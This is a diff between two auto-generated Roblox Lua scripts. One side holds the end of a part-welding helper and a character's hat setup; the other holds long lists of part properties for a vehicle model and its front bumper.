| 1152 | - | local Tool = GetNearestParent(script, "Tool") |
| 1152 | + | Part55.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 1153 | Part55.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1154 | - | local Parts = GetBricks(script.Parent) |
| 1154 | + | Part56.Name = "Smooth Block Model" |
| 1155 | - | local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
|
| 1155 | + | Part56.Parent = Model21 |
| 1156 | Part56.BrickColor = BrickColor.new("White")
| |
| 1157 | - | if PrimaryPart then |
| 1157 | + | Part56.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) |
| 1158 | - | WeldParts(Parts, PrimaryPart, "Weld", false) |
| 1158 | + | Part56.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1159 | Part56.Velocity = Vector3.new(0.159890562, 1.73860741, 15.1473885) | |
| 1160 | - | warn("qWeld - Unable to weld part")
|
| 1160 | + | Part56.Size = Vector3.new(1, 2.4000001, 1) |
| 1161 | Part56.CFrame = CFrame.new(-52.4772987, 2.87124395, 140.494934, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321) | |
| 1162 | - | |
| 1162 | + | Part56.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1163 | - | return Tool |
| 1163 | + | Part56.Position = Vector3.new(-52.4772987, 2.87124395, 140.494934) |
| 1164 | Part56.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1165 | Part56.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1166 | - | local Tool = PerfectionWeld() |
| 1166 | + | Part57.Name = "Smooth Block Model" |
| 1167 | Part57.Parent = Model21 | |
| 1168 | Part57.BrickColor = BrickColor.new("White")
| |
| 1169 | - | if Tool and script.ClassName == "Script" then |
| 1169 | + | Part57.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) |
| 1170 | - | --- Don't bother with local scripts |
| 1170 | + | Part57.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1171 | Part57.Velocity = Vector3.new(-0.781544685, -1.22268438, 14.7653809) | |
| 1172 | - | script.Parent.AncestryChanged:connect(function() |
| 1172 | + | Part57.Size = Vector3.new(1, 1.20000005, 8) |
| 1173 | - | PerfectionWeld() |
| 1173 | + | Part57.CFrame = CFrame.new(-46.1404266, 3.57167077, 119.448425, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321) |
| 1174 | Part57.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1175 | Part57.Position = Vector3.new(-46.1404266, 3.57167077, 119.448425) | |
| 1176 | Part57.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1177 | - | -- Created by Quenty (@Quenty, follow me on twitter). |
| 1177 | + | Part57.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1178 | Part58.Name = "Smooth Block Model" | |
| 1179 | Part58.Parent = Model21 | |
| 1180 | - | Humanoid51.Parent = Model0 |
| 1180 | + | Part58.BrickColor = BrickColor.new("White")
|
| 1181 | - | Humanoid51.NameOcclusion = Enum.NameOcclusion.NoOcclusion |
| 1181 | + | Part58.Rotation = Vector3.new(0.269999981, 0.439999998, 0) |
| 1182 | - | Humanoid51.RightLeg = Part18 |
| 1182 | + | Part58.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1183 | - | Humanoid51.LeftLeg = Part17 |
| 1183 | + | Part58.Velocity = Vector3.new(0.0213533938, 1.17489302, 14.8504782) |
| 1184 | - | Humanoid51.Torso = Part19 |
| 1184 | + | Part58.CanCollide = false |
| 1185 | - | Hat52.Name = "Millitary Beanie" |
| 1185 | + | Part58.Size = Vector3.new(8, 2.4000001, 3) |
| 1186 | - | Hat52.Parent = Model0 |
| 1186 | + | Part58.CFrame = CFrame.new(-46.0007973, 2.88616538, 137.444687, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886) |
| 1187 | - | Hat52.AttachmentPos = Vector3.new(0, -0.100000001, -0.0700000003) |
| 1187 | + | Part58.BackSurface = Enum.SurfaceType.Weld |
| 1188 | - | Part53.Name = "Handle" |
| 1188 | + | Part58.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1189 | - | Part53.Parent = Hat52 |
| 1189 | + | Part58.Position = Vector3.new(-46.0007973, 2.88616538, 137.444687) |
| 1190 | - | Part53.BrickColor = BrickColor.new("Pastel brown")
|
| 1190 | + | Part58.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) |
| 1191 | - | Part53.Rotation = Vector3.new(0, -90, 0) |
| 1191 | + | Part58.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1192 | - | Part53.CanCollide = false |
| 1192 | + | Part59.Name = "Smooth Block Model" |
| 1193 | - | Part53.FormFactor = Enum.FormFactor.Symmetric |
| 1193 | + | Part59.Parent = Model21 |
| 1194 | - | Part53.Size = Vector3.new(1, 1, 1) |
| 1194 | + | Part59.BrickColor = BrickColor.new("White")
|
| 1195 | - | Part53.CFrame = CFrame.new(12.3819971, 5.0999999, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07) |
| 1195 | + | Part59.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) |
| 1196 | - | Part53.BottomSurface = Enum.SurfaceType.Smooth |
| 1196 | + | Part59.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1197 | - | Part53.TopSurface = Enum.SurfaceType.Smooth |
| 1197 | + | Part59.Velocity = Vector3.new(-0.273873299, 0.308963478, 14.8486538) |
| 1198 | - | Part53.Color = Color3.new(1, 0.8, 0.6) |
| 1198 | + | Part59.Size = Vector3.new(2, 2.4000001, 14) |
| 1199 | - | Part53.Position = Vector3.new(12.3819971, 5.0999999, 63.8128319) |
| 1199 | + | Part59.CFrame = CFrame.new(-46.0512047, 2.91704798, 130.945007, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968) |
| 1200 | - | Part53.Orientation = Vector3.new(0, -90, 0) |
| 1200 | + | Part59.LeftSurface = Enum.SurfaceType.Weld |
| 1201 | - | Part53.Color = Color3.new(1, 0.8, 0.6) |
| 1201 | + | Part59.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1202 | - | SpecialMesh54.Parent = Part53 |
| 1202 | + | Part59.Position = Vector3.new(-46.0512047, 2.91704798, 130.945007) |
| 1203 | - | SpecialMesh54.MeshId = "rbxassetid://11349749" |
| 1203 | + | Part59.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 1204 | - | SpecialMesh54.Offset = Vector3.new(0, -0.400000006, -0.300000012) |
| 1204 | + | Part59.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1205 | - | SpecialMesh54.TextureId = "rbxassetid://29875340" |
| 1205 | + | Part60.Name = "Smooth Block Model" |
| 1206 | - | SpecialMesh54.MeshType = Enum.MeshType.FileMesh |
| 1206 | + | Part60.Parent = Model21 |
| 1207 | Part60.BrickColor = BrickColor.new("White")
| |
| 1208 | Part60.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1209 | Part60.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1210 | Part60.Velocity = Vector3.new(-0.659936845, -0.823398829, 14.8462677) | |
| 1211 | Part60.CanCollide = false | |
| 1212 | Part60.Size = Vector3.new(8, 2.4000001, 3) | |
| 1213 | Part60.CFrame = CFrame.new(-46.1171188, 2.95742369, 122.44548, -0.999961078, -6.73918184e-05, -0.0077542779, -0.00010418224, 0.999988735, 0.00475051068, 0.00775291584, 0.00475117238, -0.999946833) | |
| 1214 | Part60.BackSurface = Enum.SurfaceType.Weld | |
| 1215 | Part60.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1216 | Part60.Position = Vector3.new(-46.1171188, 2.95742369, 122.44548) | |
| 1217 | Part60.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1218 | Part60.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1219 | Part61.Name = "Smooth Block Model" | |
| 1220 | Part61.Parent = Model21 | |
| 1221 | Part61.BrickColor = BrickColor.new("White")
| |
| 1222 | Part61.Rotation = Vector3.new(-179.229996, 89.4799957, 179.5) | |
| 1223 | Part61.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1224 | Part61.Velocity = Vector3.new(-0.554445386, -0.556578994, 14.7667847) | |
| 1225 | Part61.Size = Vector3.new(1, 1.20000005, 2) | |
| 1226 | Part61.CFrame = CFrame.new(-46.1016655, 3.54791427, 124.448219, -0.00775489444, -6.74199255e-05, 0.99995929, 0.00475053908, 0.999988735, 0.000104203747, -0.999944448, 0.00475119986, -0.00775334146) | |
| 1227 | Part61.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1228 | Part61.Position = Vector3.new(-46.1016655, 3.54791427, 124.448219) | |
| 1229 | Part61.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) | |
| 1230 | Part61.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1231 | Part62.Name = "Smooth Block Model" | |
| 1232 | Part62.Parent = Model21 | |
| 1233 | Part62.BrickColor = BrickColor.new("White")
| |
| 1234 | Part62.Rotation = Vector3.new(-179.229996, 89.4700012, 179.5) | |
| 1235 | Part62.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1236 | Part62.Velocity = Vector3.new(-0.750778496, -1.08984661, 14.845706) | |
| 1237 | Part62.Size = Vector3.new(1, 2.4000001, 14) | |
| 1238 | Part62.CFrame = CFrame.new(-46.1326332, 2.96692896, 120.445518, -0.00775497453, -6.74243638e-05, 0.999957502, 0.00475053303, 0.999988735, 0.000104198749, -0.999942064, 0.0047511938, -0.00775323017) | |
| 1239 | Part62.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1240 | Part62.Position = Vector3.new(-46.1326332, 2.96692896, 120.445518) | |
| 1241 | Part62.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) | |
| 1242 | Part62.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1243 | Part63.Name = "Smooth Block Model" | |
| 1244 | Part63.Parent = Model21 | |
| 1245 | Part63.BrickColor = BrickColor.new("White")
| |
| 1246 | Part63.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1247 | Part63.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1248 | Part63.Velocity = Vector3.new(-0.555321097, -0.61967504, 14.6529121) | |
| 1249 | Part63.CanCollide = false | |
| 1250 | Part63.Size = Vector3.new(3, 1.20000005, 1) | |
| 1251 | Part63.CFrame = CFrame.new(-43.6017685, 3.54817867, 124.428848, -0.999961078, -6.74155235e-05, -0.00775481528, -0.000104208761, 0.999988735, 0.00475054421, 0.00775345322, 0.00475120591, -0.999946833) | |
| 1252 | Part63.BackSurface = Enum.SurfaceType.Weld | |
| 1253 | Part63.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1254 | Part63.Position = Vector3.new(-43.6017685, 3.54817867, 124.428848) | |
| 1255 | Part63.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1256 | Part63.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1257 | Part64.Name = "Smooth Block Model" | |
| 1258 | Part64.Parent = Model21 | |
| 1259 | Part64.BrickColor = BrickColor.new("White")
| |
| 1260 | Part64.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) | |
| 1261 | Part64.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1262 | Part64.Velocity = Vector3.new(-0.793918669, -1.05900979, 15.1414938) | |
| 1263 | Part64.Size = Vector3.new(1, 2.4000001, 1) | |
| 1264 | Part64.CFrame = CFrame.new(-52.640152, 2.97100544, 119.495979, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321) | |
| 1265 | Part64.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1266 | Part64.Position = Vector3.new(-52.640152, 2.97100544, 119.495979) | |
| 1267 | Part64.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1268 | Part64.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1269 | Part65.Name = "Smooth Block Model" | |
| 1270 | Part65.Parent = Model21 | |
| 1271 | Part65.BrickColor = BrickColor.new("White")
| |
| 1272 | Part65.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 1273 | Part65.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1274 | Part65.Velocity = Vector3.new(-0.528060794, -0.819970906, 14.1258574) | |
| 1275 | Part65.Size = Vector3.new(6, 1.20000005, 1) | |
| 1276 | Part65.CFrame = CFrame.new(-46.117485, 8.35736084, 122.471107, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409) | |
| 1277 | Part65.TopSurface = Enum.SurfaceType.Smooth | |
| 1278 | Part65.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1279 | Part65.Position = Vector3.new(-46.117485, 8.35736084, 122.471107) | |
| 1280 | Part65.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1281 | Part65.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1282 | SpecialMesh66.Parent = Part65 | |
| 1283 | SpecialMesh66.MeshType = Enum.MeshType.Wedge | |
| 1284 | Part67.Name = "Smooth Block Model" | |
| 1285 | Part67.Parent = Model20 | |
| 1286 | Part67.BrickColor = BrickColor.new("Bright red")
| |
| 1287 | Part67.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 1288 | Part67.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1289 | Part67.Velocity = Vector3.new(-0.783297181, -1.34888029, 14.5376348) | |
| 1290 | Part67.Size = Vector3.new(2, 1.20000005, 1) | |
| 1291 | Part67.CFrame = CFrame.new(-41.1405983, 3.57219553, 119.40966, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886) | |
| 1292 | Part67.Color = Color3.new(0.768628, 0.156863, 0.109804) | |
| 1293 | Part67.Position = Vector3.new(-41.1405983, 3.57219553, 119.40966) | |
| 1294 | Part67.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1295 | Part67.Color = Color3.new(0.768628, 0.156863, 0.109804) | |
| 1296 | Part68.Name = "Smooth Block Model" | |
| 1297 | Part68.Parent = Model20 | |
| 1298 | Part68.BrickColor = BrickColor.new("Bright red")
| |
| 1299 | Part68.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 1300 | Part68.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1301 | Part68.Velocity = Vector3.new(-0.779791713, -1.09648752, 14.9931259) | |
| 1302 | Part68.Size = Vector3.new(2, 1.20000005, 1) | |
| 1303 | Part68.CFrame = CFrame.new(-51.1402473, 3.57114983, 119.487198, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886) | |
| 1304 | Part68.Color = Color3.new(0.768628, 0.156863, 0.109804) | |
| 1305 | Part68.Position = Vector3.new(-51.1402473, 3.57114983, 119.487198) | |
| 1306 | Part68.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1307 | Part68.Color = Color3.new(0.768628, 0.156863, 0.109804) | |
| 1308 | Model69.Name = "FrontBumper" | |
| 1309 | Model69.Parent = Model20 | |
| 1310 | Part70.Name = "Smooth Block Model" | |
| 1311 | Part70.Parent = Model69 | |
| 1312 | Part70.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1313 | Part70.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 1314 | Part70.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1315 | Part70.Velocity = Vector3.new(0.182074994, 1.76736045, 15.0792055) | |
| 1316 | Part70.Size = Vector3.new(2, 2.4000001, 2) | |
| 1317 | Part70.CFrame = CFrame.new(-50.973484, 2.86902118, 140.983292, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886) | |
| 1318 | Part70.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1319 | Part70.Position = Vector3.new(-50.973484, 2.86902118, 140.983292) | |
| 1320 | Part70.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1321 | Part70.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1322 | Part71.Name = "Smooth Block Model" | |
| 1323 | Part71.Parent = Model69 | |
| 1324 | Part71.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1325 | Part71.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1326 | Part71.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1327 | Part71.Velocity = Vector3.new(0.284060717, 1.78178692, 14.5442305) | |
| 1328 | Part71.Size = Vector3.new(2, 1.20000005, 2) | |
| 1329 | Part71.CFrame = CFrame.new(-40.9583511, 3.46055007, 142.908493, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409) | |
| 1330 | Part71.BackSurface = Enum.SurfaceType.Weld | |
| 1331 | Part71.BottomSurface = Enum.SurfaceType.Smooth | |
| 1332 | Part71.TopSurface = Enum.SurfaceType.Smooth | |
| 1333 | Part71.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1334 | Part71.Position = Vector3.new(-40.9583511, 3.46055007, 142.908493) | |
| 1335 | Part71.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1336 | Part71.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1337 | SpecialMesh72.Parent = Part71 | |
| 1338 | SpecialMesh72.MeshType = Enum.MeshType.Wedge | |
| 1339 | Part73.Name = "Smooth Block Model" | |
| 1340 | Part73.Parent = Model69 | |
| 1341 | Part73.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1342 | Part73.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) | |
| 1343 | Part73.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1344 | Part73.Velocity = Vector3.new(0.254229456, 1.74316728, 14.6359987) | |
| 1345 | Part73.Size = Vector3.new(2, 1.20000005, 1) | |
| 1346 | Part73.CFrame = CFrame.new(-39.4583321, 2.26072311, 142.891174, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215796, 0.999950171, 0.00475121383, 0.00775360968) | |
| 1347 | Part73.BackSurface = Enum.SurfaceType.Weld | |
| 1348 | Part73.BottomSurface = Enum.SurfaceType.Smooth | |
| 1349 | Part73.TopSurface = Enum.SurfaceType.Smooth | |
| 1350 | Part73.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1351 | Part73.Position = Vector3.new(-39.4583321, 2.26072311, 142.891174) | |
| 1352 | Part73.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1353 | Part73.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1354 | SpecialMesh74.Parent = Part73 | |
| 1355 | SpecialMesh74.MeshType = Enum.MeshType.Wedge | |
| 1356 | Part75.Name = "Smooth Block Model" | |
| 1357 | Part75.Parent = Model69 | |
| 1358 | Part75.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1359 | Part75.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) | |
| 1360 | Part75.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1361 | Part75.Velocity = Vector3.new(0.200752735, 1.54371738, 14.5555325) | |
| 1362 | Part75.Size = Vector3.new(1, 2.4000001, 1) | |
| 1363 | Part75.CFrame = CFrame.new(-39.470005, 2.86784053, 141.394089, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086) | |
| 1364 | Part75.BackSurface = Enum.SurfaceType.Weld | |
| 1365 | Part75.BottomSurface = Enum.SurfaceType.Smooth | |
| 1366 | Part75.TopSurface = Enum.SurfaceType.Smooth | |
| 1367 | Part75.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1368 | Part75.Position = Vector3.new(-39.470005, 2.86784053, 141.394089) | |
| 1369 | Part75.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1370 | Part75.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1371 | SpecialMesh76.Parent = Part75 | |
| 1372 | SpecialMesh76.MeshType = Enum.MeshType.Wedge | |
| 1373 | Part77.Name = "Smooth Block Model" | |
| 1374 | Part77.Parent = Model69 | |
| 1375 | Part77.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1376 | Part77.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1377 | Part77.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1378 | Part77.Velocity = Vector3.new(0.326390445, 2.23324895, 15.1602325) | |
| 1379 | Part77.Size = Vector3.new(2, 1.20000005, 1) | |
| 1380 | Part77.CFrame = CFrame.new(-50.9462967, 2.25240612, 144.48027, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455) | |
| 1381 | Part77.BackSurface = Enum.SurfaceType.Weld | |
| 1382 | Part77.BottomSurface = Enum.SurfaceType.Smooth | |
| 1383 | Part77.TopSurface = Enum.SurfaceType.Smooth | |
| 1384 | Part77.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1385 | Part77.Position = Vector3.new(-50.9462967, 2.25240612, 144.48027) | |
| 1386 | Part77.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1387 | Part77.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1388 | SpecialMesh78.Parent = Part77 | |
| 1389 | SpecialMesh78.MeshType = Enum.MeshType.Wedge | |
| 1390 | Part79.Name = "Smooth Block Model" | |
| 1391 | Part79.Parent = Model69 | |
| 1392 | Part79.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1393 | Part79.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 1394 | Part79.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1395 | Part79.Velocity = Vector3.new(0.25475505, 1.78102577, 14.7043228) | |
| 1396 | Part79.Size = Vector3.new(2, 1.20000005, 2) | |
| 1397 | Part79.CFrame = CFrame.new(-40.9582787, 2.2605629, 142.902802, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409) | |
| 1398 | Part79.FrontSurface = Enum.SurfaceType.Weld | |
| 1399 | Part79.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1400 | Part79.Position = Vector3.new(-40.9582787, 2.2605629, 142.902802) | |
| 1401 | Part79.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1402 | Part79.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1403 | Part80.Name = "Smooth Block Model" | |
| 1404 | Part80.Parent = Model69 | |
| 1405 | Part80.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1406 | Part80.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) | |
| 1407 | Part80.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1408 | Part80.Velocity = Vector3.new(0.16566883, 1.64078176, 14.9315062) | |
| 1409 | Part80.Size = Vector3.new(2, 1.20000005, 8) | |
| 1410 | Part80.CFrame = CFrame.new(-45.9736137, 2.26954889, 140.941666, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086) | |
| 1411 | Part80.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1412 | Part80.Position = Vector3.new(-45.9736137, 2.26954889, 140.941666) | |
| 1413 | Part80.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1414 | Part80.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1415 | Part81.Name = "Smooth Block Model" | |
| 1416 | Part81.Parent = Model69 | |
| 1417 | Part81.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1418 | Part81.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1419 | Part81.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1420 | Part81.Velocity = Vector3.new(0.28756687, 2.03418064, 14.9997206) | |
| 1421 | Part81.Size = Vector3.new(2, 1.20000005, 2) | |
| 1422 | Part81.CFrame = CFrame.new(-50.958004, 3.45951557, 142.986038, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409) | |
| 1423 | Part81.BackSurface = Enum.SurfaceType.Weld | |
| 1424 | Part81.BottomSurface = Enum.SurfaceType.Smooth | |
| 1425 | Part81.TopSurface = Enum.SurfaceType.Smooth | |
| 1426 | Part81.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1427 | Part81.Position = Vector3.new(-50.958004, 3.45951557, 142.986038) | |
| 1428 | Part81.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1429 | Part81.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1430 | SpecialMesh82.Parent = Part81 | |
| 1431 | SpecialMesh82.MeshType = Enum.MeshType.Wedge | |
| 1432 | Part83.Name = "Smooth Block Model" | |
| 1433 | Part83.Parent = Model69 | |
| 1434 | Part83.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1435 | Part83.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 1436 | Part83.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1437 | Part83.Velocity = Vector3.new(0.258261204, 2.03341937, 15.159812) | |
| 1438 | Part83.Size = Vector3.new(2, 1.20000005, 2) | |
| 1439 | Part83.CFrame = CFrame.new(-50.9579277, 2.25952816, 142.980347, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409) | |
| 1440 | Part83.FrontSurface = Enum.SurfaceType.Weld | |
| 1441 | Part83.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1442 | Part83.Position = Vector3.new(-50.9579277, 2.25952816, 142.980347) | |
| 1443 | Part83.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1444 | Part83.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1445 | Part84.Name = "Smooth Block Model" | |
| 1446 | Part84.Parent = Model69 | |
| 1447 | Part84.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1448 | Part84.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5) | |
| 1449 | Part84.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1450 | Part84.Velocity = Vector3.new(0.258786887, 2.07127786, 15.2281361) | |
| 1451 | Part84.Size = Vector3.new(2, 1.20000005, 1) | |
| 1452 | Part84.CFrame = CFrame.new(-52.4578781, 2.25937176, 142.991974, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615) | |
| 1453 | Part84.BackSurface = Enum.SurfaceType.Weld | |
| 1454 | Part84.BottomSurface = Enum.SurfaceType.Smooth | |
| 1455 | Part84.TopSurface = Enum.SurfaceType.Smooth | |
| 1456 | Part84.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1457 | Part84.Position = Vector3.new(-52.4578781, 2.25937176, 142.991974) | |
| 1458 | Part84.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) | |
| 1459 | Part84.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
| 1460 | SpecialMesh85.Parent = Part84 | |
| 1461 | SpecialMesh85.MeshType = Enum.MeshType.Wedge | |
| 1462 | Part86.Name = "Smooth Block Model" | |
| 1463 | Part86.Parent = Model69 | |
| 1464 | Part86.BrickColor = BrickColor.new("Dark stone grey")
| |
| 1465 | Part86.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 1466 | Part86.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1467 | Part86.Velocity = Vector3.new(0.178568333, 1.51496482, 14.6237154) | |
| 1468 | Part86.Size = Vector3.new(2, 2.4000001, 2) | |
